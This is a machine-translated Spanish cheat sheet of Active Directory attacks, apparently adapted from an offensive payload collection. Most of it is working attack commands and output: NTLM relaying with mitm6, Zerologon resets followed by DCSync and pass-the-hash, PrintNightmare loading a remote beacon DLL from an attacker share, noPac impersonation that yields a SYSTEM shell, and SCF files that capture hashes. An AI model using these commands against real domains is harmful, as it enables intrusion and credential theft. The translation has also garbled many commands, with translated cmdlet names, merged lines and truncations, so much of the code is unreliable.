Ataques de directorio activo

Resumen

Herramientas

- Impacket o la versión de Windows
- Respondedor
- InveighZero
- Mimikatz
- guardabosque
- Explorador de anuncios
- CrackMapExec

```
# use la última versión, CME ahora es un paquete binario con todas sus dependencias root@payload$ wget
https://tinyurl.com/2yajgbrm/releases/download/v5.0.1dev/cme

# ejecutar cme (smb, winrm, mssql, ...) root@payload$
cme smb -L root@payload$ cme
smb -M name_module -o VAR=DATA root@payload$ cme smb
192.168.1.100 -u Administrador -H 5858d47a41e40b40f294b310 root@payload$ cme smb 192.168.1.100 -u
Administrador -H 5858d47a41e40b40f294b310 root@payload$ cme smb 192.168.1.100 -u Administrador -H '
:5858d47a41e40b 40f294b3 root@payload$ cme smb 192.168.1.100 -u Administrador -H
5858d47a41e40b40f294b310 root@ carga útil$ cme smb 192.168.1.100 -u Administrador -H
5858d47a41e40b40f294b310 root@payload$ cme smb 192.168.1.100 -u Administrador -H "
:5858d47a41e40b40f294b3 root@payload$ cme smb 192.168. 1.100 -u Administrador -H
":5858d47a41e40b40f294b3 root@payload $ cme smb 10.10.14.0/24 -u usuario -p 'Contraseña' --local-auth -M
mimika root@payload$ cme mimikatz --server http --server-port 80
```

- Mitm6

```
git clone https://tinyurl.com/2c78r5xf && instalación de cd mitm6 pip. mitm6
-d lab.local
ntlmrelayx.py -wh
192.168.218.129 -t smb://192.168.218.128/ -i # -wh: servidor que aloja el archivo WPAD (IP del
atacante) # -t: destino (no puede transmitir credenciales al mismo
dispositivo del que estás falsificando # -i: abre un shell interactivo ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --
delegate-access
```

- ADRecon

```
.\ADRecon.ps1 -DomainController MYAD.net -Credencial MYAD\miusuario
```

- Script de evaluación y escalamiento de privilegios de Active Directory

```
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```

- Castillo de Ping

```
pingcastle.exe --healthcheck --servidor <DOMAIN_CONTROLLER_IP> --usuario <NOMBRE DE USUARIO>
pingcastle.exe --healthcheck --servidor dominio.local pingcastle.exe --graph
--servidor dominio.local pingcastle.exe --escáner nombre_escáner
- -dominio del servidor.Los escáneres locales disponibles son:aclcheck,antivirus,versión
de computadora,usuarios extranjeros,laps_bit
```

- Kerbruto

```
./kerbrute contraseñaspray -d <DOMINIO> <USUARIOS.TXT> <CONTRASEÑA>
```

- Rojo

```
Rubeus.exe Asktgt /usuario:USUARIO </contraseña:CONTRASEÑA [/enctype:DES|RC4|AES128|AES256 Volcado de
Rubeus.exe [/servicio:SERVICIO] [/luid:LOGINID]
Lista de Rubeus.exe [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"bla/bla"] [/usuario:USUARIO] [/dominio:DOMINIO] [/dc:DOM
```

- Laboratorio automatizado

```
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Nombre PrimerServidor -OperatingSystem 'Windows Server 2016
```

Laboratorio de instalación

Show-LabDeploymentResumen

Sincronización del reloj Kerberos

En Kerberos, el tiempo se utiliza para garantizar que los tickets sean válidos. Para lograr esto, los relojes de todos los clientes y servidores Kerberos en un dominio deben sincronizarse dentro de una cierta tolerancia. La tolerancia predeterminada a la desviación del reloj en Kerberos es de 5 minutos. , lo que significa que la diferencia en el tiempo entre los relojes de dos entidades Kerberos cualesquiera no debe ser superior a 5 minutos.

- Detecta el desfase del reloj automáticamente con nmap

  $ nmap -sV -sC 10.10.10.10 sesgo de
  reloj: media: -1998d09h03m04s, desviación: 4h00m00s, mediana: -1998d11h03m05s

- Calcula tú mismo la diferencia entre los relojes.

  nmap -st 10.10.10.10 -p445 --script smb2-time -vv

- ° 1: modifica tu reloj

  sudo date -s "14 de abril de 2015 18:25:16" # Linux net time /
  domain /set # Windows

- ° 2: falsifica tu reloj

  faketime -f '+8h' fecha

Reconocimiento de Directorio Activo

Usando sabueso

Utilice el recolector correcto

- AzureHound para Azure Active Directory
- SharpHound para Active Directory local
- RustHound para Active Directory local
- use BloodHoundAD/AzureHound (más información: Nube - Azure Pentest)

Luego importe los archivos zip/json a la base de datos de Neo4J y consúltelos.

```
root@payload$ apto instalar sabueso

# iniciar BloodHound y la base de datos
root@payload$ consola neo4j # o usar la
ventana acoplable
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo

root@payload$ ./bloodhound --no-sandbox Vaya a http://
127.0.0.1:7474, use db:bolt://localhost:7687, usuario:neo4J, contraseña:neo4j
```

Puede agregar algunas consultas personalizadas como:

- Bloodhound-Consultas-personalizadas de @hausec
- BloodHoundQueries de CompassSecurity
- Consultas personalizadas de BloodHound de Exegol - @ShutdownRepo
- Consultas personalizadas de Certipy BloodHound de ly4k

Reemplace el archivo customqueries.json ubicado en /home/
username/.config/bloodhound/customqueries.json o C:
\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json .

Usando PowerView

- Obtener dominio actual: Get-NetDomain
- Enumerar otros dominios: Get-NetDomain -Domain <NombreDeDominio>
- Obtener SID de dominio: Obtener-DomainSID
- Obtener política de dominio:

```
Obtener política de dominio

#Nos mostrará las configuraciones de políticas del Dominio sobre acceso al sistema o ke (Get-DomainPolicy)." acceso al sistema"

(Get-DomainPolicy). " política de Kerberos"
```

- Obtenga controladores de dominio:

```
Obtener-NetDomainController
Get-NetDomainController -Dominio <NombreDeDominio>
```

- Enumerar usuarios de dominio:

```
Obtener-NetUser
Get-NetUser -SamAccountName <usuario>
Obtener-NetUser | seleccione cn
Obtener propiedad de usuario

#Verifique el último cambio de contraseña
Get-UserProperty -Propiedades pwdlastset

#Obtener una "cadena" específica en el atributo de un usuario
Find-UserField -Descripción del campo de búsqueda -SearchTerm "wtver"

#Enumerar el usuario que inició sesión en una máquina
Get-NetLoggedon -ComputerName <NombreDeEquipo>

#Enumerar información de sesión para una máquina
Get-NetSession -ComputerName <NombreDeEquipo>

#Enumerar las máquinas de dominio del dominio actual/especificado donde usuarios específicos
Buscar-DominioUbicaciónUsuario -Dominio <NombreDominio> | Nombre de usuario de objeto seleccionado, sesión F
```

- Computadoras de dominio de enumeración:

```
Obtener-NetComputer-FullData
Obtener-grupo de dominio

#Enumerar máquinas en vivo
Obtener-NetComputer-Ping
```

- Grupos de enumeración y miembros del grupo:

```
Get-NetGroupMember -GroupName "<Nombre del grupo>" -Domain <Nombre del dominio>

#Enumerar los miembros de un grupo específico del dominio
Get-DomainGroup -Identidad <Nombre Del Grupo> | Seleccionar-Objeto -ExpandirMiembro de Propiedad

#Devuelve todos los GPO en un dominio que modifican la membresía de grupos locales a través de Restr
Obtener-DomainGPOLocalGroup | Seleccionar objeto GPODisplayName, GroupName
```

- Enumerar acciones

```
#Enumerar dominios compartidos
Buscar-DominioCompartir

#Enumerar dominios compartidos a los que tiene acceso el usuario actual
Buscar-DominioCompartir -CheckShareAccess
```

- Políticas del grupo Enum:

```
Obtener-NetGPO

# Muestra la política activa en la máquina especificada
Get-NetGPO -ComputerName <Nombre de la PC>
Get-NetGPOGroup

#Obtener usuarios que formen parte del grupo de administración local de una máquina
Find-GPOComputerAdmin -ComputerName <NombreDeEquipo>
```

- Unidades organizativas de enumeración:

```
Obtener-NetOU-FullData
Get-NetGPO -GPOname <El GUID del GPO>
```

- ACL de enumeración:

```
# Devuelve las ACL asociadas con la cuenta especificada
Get-ObjectAcl -SamAccountName <Nombre de cuenta> -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrador, CN=Usuarios' -Detallado

#Buscar ACE interesantes
Invocar-ACLScanner-ResolveGUIDs

#Verifique las ACL asociadas con una ruta específica (por ejemplo, smb share)
Get-PathAcl -Path "\\Ruta\Of\A\Share"
```

- Confianza del dominio de enumeración:

```
Obtener-NetDomainTrust
Get-NetDomainTrust -Dominio <NombreDeDominio>
```

- Fideicomiso forestal de Enum:

```
Obtener-NetForestDomain
Get-NetForestDomain Bosque <NombreBosque>

#Dominios de enumeración forestal
Obtener-NetForestDomain
Get-NetForestDomain Bosque <NombreBosque>

#Mapa la confianza del bosque
Get-NetForestTrust
Get-NetDomainTrust -Bosque <NombreBosque>
```

- Búsqueda de usuarios:

```
#Encuentra todas las máquinas en el dominio actual donde el usuario actual tiene administrador local
Buscar-LocalAdminAccess -Detallado

#Encuentre administradores locales en todas las máquinas del dominio:
Invocar-EnumerarLocalAdmin -Detallado

#Buscar computadoras donde un administrador de dominio O un usuario específico tiene una sesión
Invocar-UserHunter
Invoke-UserHunter -Nombre de grupo "RDPUsers"
Invocar-UserHunter -Stealth

#Confirmar acceso de administrador:
Invocar-UserHunter -CheckAccess
```

:heavy_exclamation_mark: Priv Esc al administrador de dominio con búsqueda de usuarios:

Tengo acceso de administrador local en una máquina -> Un administrador de dominio tiene una sesión en esa máquina -

> le robo su token y me hago pasar por él ->

¡Ganancia!

Trucos de PowerView 3.0

Usando el módulo AD

- Obtener dominio actual: Get-ADDomain
- Enumerar otros dominios: Get-ADDomain -Identity <Dominio>
- Obtener SID de dominio: Obtener-DomainSID
- Obtenga controladores de dominio:

```
Obtener-ADDomainController
Get-ADDomainController -Identidad <NombreDeDominio>
```

- Enumerar usuarios de dominio:

```
Get-ADUser -Filter * -Identidad <usuario> -Propiedades *

#Obtener una "cadena" específica en el atributo de un usuario
Get-ADUser -Filter 'Descripción -like "*wtver*"' -Propiedades Descripción | seleccionar
```

- Computadoras de dominio de enumeración:

```
Obtener-ADComputer -Filtro * -Propiedades *
Obtener-ADGroup-Filtro *
```

- Confianza del dominio de enumeración:

```
Obtener-ADTrust-Filtro *
Get-ADTrust -Identidad <NombreDeDominio>
```

- Fideicomiso forestal de Enum:

```
Obtener-ADForest
Get-ADForest -Identidad <NombreBosque>

#Dominios de enumeración forestal
(Get-ADForest).Dominios
```

- Política efectiva de Enum Local AppLocker:

```
Get-AppLockerPolicy -Efectivo | seleccione -Expandir colecciones de reglas de propiedades
```

Otros comandos interesantes

- Buscar controladores de dominio

```
nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<dominio>.com nltest /
dclist:domain.com Get-
ADDomainController -filter * | Seleccionar nombre de objeto
```

```
gpresult /r
$Env:LOGONSERVER
eco %LOGONSERVER%
```

De CVE al shell del SISTEMA en DC

> A veces encontrará un controlador de dominio sin los últimos parches instalados, utilice el CVE más nuevo para obtener un shell de SISTEMA. Si tiene un shell de "usuario normal" en el DC, También puede intentar elevar sus privilegios utilizando uno de los métodos enumerados en Windows: Escalada de privilegios

MS14-068 Validación de suma de comprobación

Este exploit requiere conocer el SID del usuario, puede usar rpcclient para obtenerlo de forma remota o wmi si Tienes acceso a la máquina.

- Cliente RPC

```
rpcclient $> nombres de búsqueda john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (Usuario: 1)
```

- WMI

```
cuenta de usuario wmic obtener nombre, sid
Administrador S-1-5-21-3415849876-833628785-5197346142-500
Invitado                S-1-5-21-3415849876-833628785-5197346142-501
Administrador S-1-5-21-297520375-2634728305-5197346142-500
Invitado                S-1-5-21-297520375-2634728305-5197346142-501 krbtgt
                        S-1-5-21-297520375-2634728305-5197346142-502 lambda
                        S-1-5-21-297520375-2634728305-5197346142-1110
```

- Vista eléctrica

```
Convertir-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

- CrackMapExec: crackmapexec ldap DC1.lab.local -u nombre de usuario -p contraseña -k --get-sid

Documento: https://tinyurl.com/29u5o4ld

Generar un ticket con metasploit o pykek

Metasploit: auxiliar/admin/kerberos/ms14_068_kerberos_checksum

Nombre	Configuración actual	Descripción requerida	
DOMINIO	DOMINIOLAB.LOCAL	si si	El Dominio (u
CONTRASEÑA	P@ssw0rd	SI	El dominio nosotros
RHOSTS	10.10.10.10	SI	El anuncio objetivo
INFORME	88	SI SI	El objetivo
Tiempo de espera	10		El tiempo TCP
USUARIO	lambda		El dominio nosotros
USER_SID	S-1-5-21-297520375-2634728305-5197346142-1106 sí		El dominio nosotros

```
# Descarga alternativa: https://tinyurl.com/26tnkp5u
$ git clon https://tinyurl.com/yyhlsjdm
$ python ./ms14-068.py -u <nombredeusuario>@<nombrededominio> -s <userSid> -d <domainControlerA $ python ./ms14-068.py -u
darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371
$ python ms14-068.py -u usuario01@metasploitable.local -d msfdc01.metasploitable.local -1105

    [+] Construyendo AS-REQ para msfdc01.metasploitable.local... ¡Listo!
    [+] Enviando AS-REQ a msfdc01.metasploitable.local... ¡Listo!
    [+] Recibiendo AS-REP desde msfdc01.metasploitable.local... ¡Listo!
    [+] Analizando AS-REP de msfdc01.metasploitable.local... ¡Listo!
    [+] Construyendo TGS-REQ para msfdc01.metasploitable.local... ¡Listo!
    [+] Enviando TGS-REQ a msfdc01.metasploitable.local... ¡Listo!
    [+] Recibiendo TGS-REP desde msfdc01.metasploitable.local... ¡Listo!
    [+] Analizando TGS-REP de msfdc01.metasploitable.local... ¡Listo!
    [+] Creando el archivo ccache 'TGT_user01@metasploitable.local.ccache'... ¡Listo!
```

Luego use mimikatz para cargar el boleto.

```
mimikatz.exe "kerberos::ptcc:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

Mitigaciones

- Asegúrese de que el proceso de DCPromo incluya un paso de control de calidad del parche antes de ejecutar DCPromo que comprueba la instalación de KB3011780. La forma rápida y sencilla de realizar esta comprobación es con PowerShell: obtener revisión 3011780

Inicio de sesión cero

> CVE-2020-1472

Libro blanco de Secura: https://tinyurl.com/y5bq4aa6

Aproveche los pasos del documento técnico

1. Falsificar la credencial del cliente
2. Deshabilitar la firma y el sellado
3. Falsificar una llamada
4. Cambiar la contraseña AD de una computadora a nula
5. Del cambio de contraseña al administrador del dominio
6. :advertencia: restablezca la contraseña AD de la computadora de manera adecuada para evitar cualquier Denegación de Servicio

- cve-2020-1472-exploit.py - Script Python de dirkjanm

```
    # Verifique (https://tinyurl.com/y2h27qku) cadenas
    proxy python3 zerologon_tester.py DC01 172.16.1.5

$ git clon https://tinyurl.com/2759zpmk/CVE-2020-1472.git

# Active un entorno virtual para instalar impacket $ python3
-m venv venv $ source venv/
bin/activate $ pip3 install.


# Explotar el CVE (https://tinyurl.com/2759zpmk/CVE-2020-1472/blob/master/cve-20 proxychains python3
cve-2020-1472-exploit.py DC01 172.16.1.5

# Encuentra el antiguo hash NT de las
cadenas proxy de DC secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16a

# Restaurar contraseña desde secretsdump #
secretsdump volcará automáticamente la contraseña de la máquina en texto plano (codificación hexadecimal #
al volcar los secretos del registro local en la versión más reciente python
recoverypassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpa desactivar
```

- nccfsas : binario .NET para el ensamblaje de ejecución de Cobalt Strike

```
git clone https://tinyurl.com/2d4qq8tx # Verifique
ejecutar-
ensamblaje SharpZeroLogon.exe win-dc01.vulncorp.local

# Restablecer la contraseña de la cuenta de la máquina
ejecutar-ensamblaje SharpZeroLogon.exe win-dc01.vulncorp.local -reset

# Prueba desde una máquina no unida a un dominio
ejecutar-ensamblaje SharpZeroLogon.exe win-dc01.vulncorp.local -patch
```

```
# Ahora restablece la contraseña
```

- Mimikatz - 2.2.0 20200917 posterior al inicio de sesión cero

```
privilegio::debug # Verifique el CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Explotar el CVE y establecer la contraseña de la cuenta de la computadora en ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Ejecute dcsync para extraer algunos hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01 lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB. LOCAL /usuario:Administrador /authus

# Pasar el hash con el hash de administrador de dominio extraído
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Usar dirección IP en lugar de FQDN para forzar NTLM con las API de Windows # Restablecer contraseña a Waza1234/Waza1234/Waza1234/ # https://tinyurl.com/qdf539r/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mim lsadump::postzerologon /target:10.10.1 0,10 / cuenta:DC01$
```

- CrackMapExec - sólo comprobar

```
crackmapexec smb 10.10.10.10 -u nombre de usuario -p contraseña -d dominio -M zerologon
```

Un segundo método para explotar el inicio de sesión cero se realiza mediante la retransmisión de autenticación.

Esta técnica, descubierta por dirkjanm, requiere más requisitos previos pero tiene la ventaja de no tener ningún impacto en la continuidad del servicio. Se necesitan los siguientes requisitos previos:

- Una cuenta de dominio
- Un DC que ejecuta el servicio PrintSpooler
- Otro DC vulnerable al inicio de sesión cero
- ntlmrelayx : de Impacket y cualquier herramienta como Printerbug.py

```
# Compruebe si un DC está ejecutando el servicio PrintSpooler rpcdump.py 10.10.10.10 | grep -A 6 "carretesv"
```

```
# Configurar ntlmrelay en un shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support

#Activar el error de impresora en el segundo
shell python3 printbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```

ImprimirPesadilla

> CVE-2021-1675 / CVE-2021-34527

La DLL se almacenará en C:\Windows\System32\spool\drivers\x64\3\ . El exploit ejecutará la DLL desde el sistema de archivos local o desde un recurso compartido remoto.

Requisitos:

- Servicio de cola de impresión habilitado (obligatorio)
- Servidor con parches < Junio 2021
- DC con grupo de compatibilidad anterior a Windows 2000
- Servidor con clave de registro HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Impresoras\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
- Servidor con clave de registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnablazLUA = (DWORD) 0

Detectar la vulnerabilidad:

- Paquete de impacto - rpcdump

```
python3 ./rpcdump.py @ 10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocolo: [MS-RPRN]: Protocolo remoto del sistema de impresión
```

- Todo fue un sueño

```
git clone https://tinyurl.com/289fr2nm cd
ItWasAllADream && poesía instalar && poesía shell itwasalladream
-u usuario -p Contraseña123 -d dominio 10.10.10.10/24 docker run -it itwasalladream
-u nombre de usuario -p Contraseña123 -d dominio 10.10. 10.10
```

Alojamiento de carga útil:

- La carga útil se puede alojar en el servidor Impacket SMB desde PR #1109:

```
python3 ./smbserver.py compartir /tmp/smb/
```

- Usando Invoke-BuildAnonymousSMBServer (se requieren derechos de administrador en el host):

  Módulo de importación .\Invoke-BuildAnonymousSMBServer.ps1; Invocar-BuildAnonymousSMBServer

- Uso de WebDav con SharpWebServer (no requiere derechos de administrador):

  Puerto SharpWebServer.exe =8888 dir=c:\users\public detallado=true

Cuando utilice WebDav en lugar de SMB, debe agregar @[PORT] al nombre de host en el URI, por ejemplo: \
\172.16.1.5@8888\Downloads\beacon.dll El cliente WebDav debe estar activado en el objetivo explotado. De forma predeterminada, no está activado en estaciones de trabajo Windows (debe iniciar webclient desde la red) y no está instalado en servidores. A continuación se explica cómo detectar webdav activado:

cme smb -u usuario -p contraseña -d dominio.local -M webdav [OBJETIVO]

Activa el exploit:

- Pesadilla aguda

  # requiere un Impacket modificado: https://tinyurl.com/28ybxu9f python3 ./
  CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192. python3 ./CVE-2021-1675.py
  hackit.local/domain_user:Pass123@192.168.1.10 'C:\add ## LPE

  SharpPrintNightmare.exe C:\addCube.dll ## RCE
  usando el contexto existente
  SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\D ## RCE usando runas /
  netonly SharpPrintNightmare.exe '\
  \192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\

- Invocar-Pesadilla

  ## Sólo LPE (PS1 + DLL)
  Import-Module .\cve-2021-1675.ps1 Invoke-
  Nightmare # agrega el usuario `adm1n`/`P@ssw0rd` en el grupo de administración local de forma predetermina
  Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword " Azkaba Invoke-Nightmare
  -DLL "C:\absolute\path\to\your\bindshell.dll"

- Mimikatz v2.2.0-20210709+

  ## LPE
  miscelánea::printnightmare /servidor:DC01 /biblioteca:C:\Users\user1\Documents\mimispool.d

ICE

miscelánea::printnightmare /servidor:CASTLE /biblioteca:\\10.0.2.12\smb\beacon.dll /authdo

- ImprimirPesadilla - @outflanknl

  PrintNightmare [ip de destino o nombre de host] [ruta UNC a la carga útil Dll] [dominio opcional

Información de depuración

Error	Mensaje	Depurar
0x5	rpc_s_access_denied	Permisos sobre el archivo en el recurso compartido SMB
0x525	ERROR_NO_SUCH_USER	La cuenta especificada no existe.
0x180 código de error desconocido		Compartir no es SMB2

Falsificación de samAccountName

> Durante S4U2Self, el KDC intentará agregar un '$' al nombre de la computadora especificado en el TGT, si no se encuentra el nombre de la computadora. Un atacante puede crear una nueva cuenta de máquina con sAMAccountName establecido en sAMAccountName de un controlador de dominio, sin el '$'.
>
> Por ejemplo, supongamos que hay un controlador de dominio con un sAMAccountName establecido en 'DC$'. Luego, un atacante crearía una cuenta de máquina con sAMAccountName configurado en 'DC'.
>
> Luego, el atacante puede solicitar un TGT para la cuenta de máquina recién creada. Después del TGT ha sido emitido por el KDC, el atacante puede cambiar el nombre de la cuenta de máquina recién creada a algo diferente, por ejemplo JOHNS-PC. El atacante puede entonces realizar S4U2Self y solicitar un ST a sí mismo como cualquier usuario. Desde la cuenta de la máquina con el sAMAccountName configurado en 'DC' ha sido renombrado, el KDC intentará encontrar la cuenta de la máquina agregando un '$', que luego coincidirá con el controlador de dominio. El KDC emitirá entonces un ST válido para el controlador de dominio.

Requisitos

- MachineAccountQota > 0

Comprobar explotación

1. Verifique la MachineAccountQuota de la cuenta.

```
crackmapexec ldap 10.10.10.10 -u nombre de usuario -p 'Contraseña123' -d 'dominio.local' --kdcH StandIn.exe
--object ms-DS-MachineAccountQuota=*
```

1. Compruebe si el DC es vulnerable

```
crackmapexec smb 10.10.10.10 -u "" -pag "" -d dominio -M nopac
```

Explotación

1. Crea una cuenta de computadora

```
impacket@linux> addcomputer.py -nombre-computadora 'ComputadoraControlada$' -computadora-pa

powermad@windows> . .\Powermad.ps1
powermad@windows> $contraseña = ConvertTo-SecureString 'ComputerPassword' -AsPlain
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Pass

Sharpmad@windows> Sharpmad.exe MAQ -Acción nueva -MachineAccount ControlledComput
```

2. Borre el atributo servicePrincipalName de la cuenta de máquina controlada

```
impacket@linux> addpn.py -u 'dominio\usuario' -p 'contraseña' -t 'EquipoControlado

powershell@ventanas> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=Equipo controlado,CN=Equipos,DC=doma
```

3. (CVE-2021-42278) Cambie la cuenta de la máquina controlada sAMAccountName a un dominio Nombre del controlador sin el $ final

```
# https://tinyurl.com/297pz672
impacket@linux> cambiar nombreMachine.py -nombre-actual 'ControlledComputer$' -nuevo-nombre

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComput
```

4. Solicitar un TGT para la cuenta de la máquina controlada

```
impacket@linux> getTGT.py -dc-ip 'DomainController.dominio.local' 'dominio.local'

cmd@windows> Rubeus.exe Asktgt /usuario:"DomainController" /contraseña:"ComputerPass
```

5. Restablezca la cuenta de la máquina controlada sAMAccountName a su valor anterior

```
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'Con

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComput
```

6. (CVE-2021-42287) Solicitar ticket de servicio con S4U2self presentando el TGT

obtenido antes

```
# https://tinyurl.com/248qapdk
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonat

cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ld
```

7. DCSync: KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DominioControlador.dominio.local' @'DomainController.dominio.local'

Explotación automatizada:

- cube0x0/noPac -Windows

```
escaneo noPac.exe -dominio htb.local -usuario usuario -contraseña123
noPac.exe -dominio htb.local -usuario dominio_usuario -pass 'Contraseña123!' /dc dc.htb.lo noPac.exe -dominio
htb.local -usuario dominio_usuario -pass "Contraseña123!" /dc dc.htb.lo
```

- Ridter/noPac -Linux

```
python noPac.py 'dominio.local/usuario' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'
```

- WazeHell/sam-el-admin

```
$ python3 sam_the_admin.py "dominio/usuario:contraseña" -dc-ip 10.10.10.10 -shell
[*] Destino seleccionado dc.caltech.white [*] Total
de administradores de dominio 11
[*] intentarán hacerse pasar por gaylene.dreddy [*] ms-
DS-MachineAccountQuota actual = 10 [*] Agregar cuenta
de computadora "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" contraseña = EhFMT%mzmACL [*]
Cuenta de máquina agregada exitosamente SAMTHEADMIN-11$ con contraseña EhFMT%mzmAC
[*] SAMTHEADMIN-11$ objeto = CN=SAMTHEADMIN-11,CN=Computadoras,DC=caltech,DC=white [*]
SAMTHEADMIN-11$ sAMAccountName == dc [*]
Guardando ticket en dc.ccache [*]
Descansando la cuenta de la máquina a SAMTHEADMIN-11$ [*]
Restaurado SAMTHEADMIN-11$ sAMAccountName al valor original [*] Usando TGT
desde el caché [*] Haciéndose
pasar por gaylene.dreddy [*]
            Solicitando S4U2self [*]
Guardando ticket en gaylene.dreddy.ccache [!] Lanzando
shell semi-interactivo - Cuidado con lo que ejecutas C:\Windows\system32>whoami nt
Authority\system
```

- ly4k/Pachiné

```
uso: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-n [-computer-group
                CN=Computadoras,DC=prueba,DC=local] [-hashes LMHASH: N [dominio/]nombre de
                usuario[:contraseña] $ python3
pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd! $ python3 pachine.py -dc-host
dc.domain.local -spn cifs/dc.domain.local -imperso $ export KRB5CCNAME=$PWD/
administrator@domain.local.ccache $ impacket-psexec -k -no-pass '
dominio.local/administrador@dc.dominio.local'
```

Mitigaciones:

- KB5007247: servidor de Windows 2012 R2
- KB5008601 - Servidor Windows 2016
- KB5008602 - Servidor Windows 2019
- KB5007205 - Servidor Windows 2022
- KB5008102
- KB5008380

Acciones abiertas

> Se puede acceder a algunos recursos compartidos sin autenticación, explórelos para encontrar algunos archivos interesantes.

- ShawnDEvans/smbmap: una práctica herramienta de enumeración de SMB

```
smbmap -H 10.10.10.10 # sesión nula smbmap -H 10.10.10.10 -R
# listado recursivo smbmap -H 10.10.10.10 -u invaliduser # invitado smb
sesión smbmap -H 10.10.10.10 -d "DOMINIO.LOCAL" -u "NOMBRE DE
USUARIO " -p "Contraseña123*"
```

- byt3bl33d3r/pth-smbclient del kit de herramientas de ruta

```
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" // pth-smbclient
-U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" // ls # listar archivos cd #
moverse dentro de
una carpeta obtener # descargar
archivos poner #
reemplazar un archivo
```

- SecureAuthCorp/smbclient de Impacket

```
smbclient -I 10.10.10.100 -L ACTIVO -N -U ""

        Nombre compartido Tipo      Comentario
        --------- ----      -------
        ADMINISTRADOR$ Disco      Administrador remoto
        C$ Disco      Compartir predeterminado
        IPC$ IPC      IPC remoto
        NETLOGON Disco      Compartir servidor de inicio de sesión
        Replicación Disco
        SYSVOL Disco      Compartir servidor de inicio de sesión
        Usuarios Disco
use Sharename # seleccione un Sharename
carpeta de CD # moverse dentro de una carpeta
es # listar archivos
```

- smbclient - desde Samba, cliente tipo ftp para acceder a recursos SMB/CIFS en servidores

```
smbclient -U nombre de usuario //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Compartir

# Descargar una carpeta de forma recursiva
smb: \> máscara ""
smb: \> recurse ON
smb: \> mensaje APAGADO
smb: \> lcd '/ruta/a/ir/'
smb: \> mget *
```

- SnaffCon/Snaffler: una herramienta para que los pentesters encuentren deliciosos dulces

```
snaffler.exe -s-snaffler.log

# Snaffle todas las computadoras en el dominio
./Snaffler.exe -d dominio.local -c <DC> -s

# Computadoras específicas de Snaffle
./Snaffler.exe -n computadora1, computadora2 -s

# Snaffle un directorio específico
./Snaffler.exe -i C:\ -s
```

Ataque de archivos SCF y URL contra recursos compartidos grabables

Estos ataques se pueden automatizar con Farmer.exe y Crop.exe

```
# Granjero para recibir autorización
farmer.exe <puerto> [segundos] [salida] farmer.exe 8888 0
c:\windows\temp\test.tmp # indefinidamente farmer.exe 8888 60 # un minuto


# Crop se puede utilizar para crear varios tipos de archivos que activarán la conexión SMB/WebDAV crop.exe <carpeta de salida>
<nombre de archivo de salida> <servidor WebDAV> <valor LNK> [opciones]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico Crop.exe \\\\fileserver\\common mdsec.library-
ms \\\\workstation@8888\ \mdsec
```

Archivos SCF

Coloque el siguiente archivo @something.scf dentro de un recurso compartido y comience a escuchar con Responder:

```
respondedor -wrf --lm -v -I eth0
```

```
[Caparazón]
Comando=2
IconFile=\\10.10.10.10\Share\test.ico [barra de tareas]

Comando=Alternar escritorio
```

Usando crackmapexec :

```
crackmapexec smb 10.10.10.10 -u nombre de usuario -p contraseña -M scuffy -o NOMBRE= SERVIDOR DE TRABAJO crackmapexec
smb 10.10.10.10 -u nombre de usuario -p contraseña -M slinky -o NOMBRE = SERVIDOR DE TRABAJO crackmapexec smb 10.10.10.10
